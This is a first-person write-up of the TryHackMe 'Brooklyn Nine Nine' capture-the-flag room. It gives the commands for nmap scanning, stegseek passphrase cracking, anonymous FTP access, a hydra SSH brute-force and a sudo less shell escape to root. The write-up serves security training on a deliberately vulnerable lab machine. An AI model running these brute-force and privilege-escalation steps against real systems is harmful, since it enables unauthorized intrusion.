TryHackMe Writeup: Brooklyn Nine Nine

This writeup documents the complete exploitation path for the Brooklyn Nine Nine room at TryHackMe.

The attack chain was:

Nmap Enumeration
      ↓
Web Enumeration
      ↓
Steganography Discovery
      ↓
Steghide Passphrase Cracking
      ↓
Holt SSH Access
      ↓
Anonymous FTP
      ↓
Jake Password Discovery
      ↓
SSH Access as Jake
      ↓
Sudo Enumeration
      ↓
less → Root Shell
      ↓
Root Flag

1. Initial Enumeration

I started by exporting the target IP as an environment variable:

export IP=10.49.178.215

Then I performed a quick Nmap scan against the top 1000 TCP ports:

nmap -T4 --top-ports 1000 $IP

The scan returned:

PORT     STATE    SERVICE
21/tcp   open     ftp
22/tcp   open     ssh
80/tcp   open     http
1025/tcp filtered NFS-or-IIS

Three interesting services were:

• 21/tcp — FTP
• 22/tcp — SSH
• 80/tcp — HTTP

I decided to investigate the web server first.

2. Web Enumeration

Opening the website hosted on port 80 revealed a JPG image named:

brooklyn99.jpg

While inspecting the page source, I found an interesting HTML comment:

<!-- Have you ever heard of steganography? -->

This strongly suggested that the image contained hidden information.

I decided to investigate the image using steghide.

3. Extracting the Hidden Data

Running steghide required a passphrase, so instead of guessing manually, I used stegseek with the rockyou.txt wordlist.

stegseek brooklyn99.jpg /usr/share/wordlists/rockyou.txt

The passphrase was successfully recovered within seconds:

[i] Found passphrase: "admin"
[i] Original filename: "note.txt".
[i] Extracting to "brooklyn99.jpg.out".

The extracted file contained:

Holts Password:
[Redacted]

Enjoy!!

This gave me what appeared to be a password for a user named holt.

4. Initial Access — Holt

I tested the discovered credentials against SSH:

ssh holt@$IP

The credentials worked, giving me SSH access as holt.

I then searched for the user flag using ls -la and found user.txt

cat user.txt

This revealed the first flag.

At this point, I had achieved initial access, but I still needed to escalate my privileges to root.

5. Further Enumeration

I checked the operating system hoping to find vulnerabilities

cat /etc/os-release

The machine was running:

NAME="Ubuntu"
VERSION="18.04.4 LTS (Bionic Beaver)"
VERSION_ID="18.04"

I also performed a more targeted service/version scan:

nmap -sC -sV -p 21,22,80 $IP

The important results were:

21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

I Found out that the FTP server also allowed anonymous authentication.

6. Anonymous FTP Enumeration

I connected to the FTP service:

ftp $IP

When prompted for credentials, I used:

Username: anonymous
Password: anonymous

Anonymous login was successful:

230 Login successful.

Listing the directory revealed:

-rw-r--r--    1 0        0             119 May 17  2020 note_to_jake.txt

I downloaded the file:

get note_to_jake.txt

I inspected the downloaded file:

cat note_to_jake.txt

The contents were:

From Amy,

Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine

This suggested that the user Jake had a weak password.

7. Obtaining Jake's Credentials

Since the note explicitly mentioned that Jake's password was weak, I attempted a password attack against his SSH account using rockyou.txt.

hydra -l jake -P /usr/share/wordlists/rockyou.txt ssh://$IP

Hydra eventually found valid credentials:

[22][ssh] host: 10.49.178.215
login: jake
password: [Redacted]

I could now authenticate to SSH as Jake.

8. Privilege Escalation

After logging in as Jake, I checked for files that might contain the flag using la and found

.bash_history  .bashrc  .gnupg    .local    .ssh
.bash_logout   .cache   .lesshst  .profile  .sudo_as_admin_successful

I tried to cat .sudo_as_admin_succesful but it was empty :(

So i tried to find out which commands he could execute with elevated privileges:

sudo -l

The output was:

User jake may run the following commands on brookly_nine_nine:
    (ALL) NOPASSWD: /usr/bin/less

This was the key privilege escalation vector.

Jake could execute /usr/bin/less as root without providing a password.

less is normally a pager for viewing files, but it can also provide functionality that allows commands to be executed from within the program.

9. Escaping less to Obtain Root

I launched less with elevated privileges:

sudo /usr/bin/less /etc/passwd

Once inside less, I entered:

!/bin/bash

This spawned a shell from the less process.

I verified my privileges:

root@brookly_nine_nine:~# whoami
root

10. Retrieving the Root Flag

With root access, I navigated to /root:

cd /root

Listing the directory revealed:

.bashrc
.local
.profile
.ssh
.wget-hsts
root.txt

I read the root flag:

cat root.txt

The file contained:

-- Creator : Fsociety2006 --
Congratulations in rooting Brooklyn Nine Nine
Here is the flag: [ Sorry but i can't display it to you :) ]

Enjoy!!

Conclusion

The machine used several straightforward vulnerabilities chained together.

The initial foothold came from information hidden inside an image using steganography. The recovered credentials allowed SSH access as Holt. Further enumeration revealed anonymous FTP access, where a note disclosed that Jake's password was weak. A password attack against SSH recovered Jake's credentials. Finally, sudo -l revealed that Jake could execute less as root without a password. Using less to spawn a shell resulted in a root shell and allowed retrieval of the root flag.

This was really a fun room to solve.

For more writeups , follow me on dev.to
Other Socials : LinkedIn TryHackMe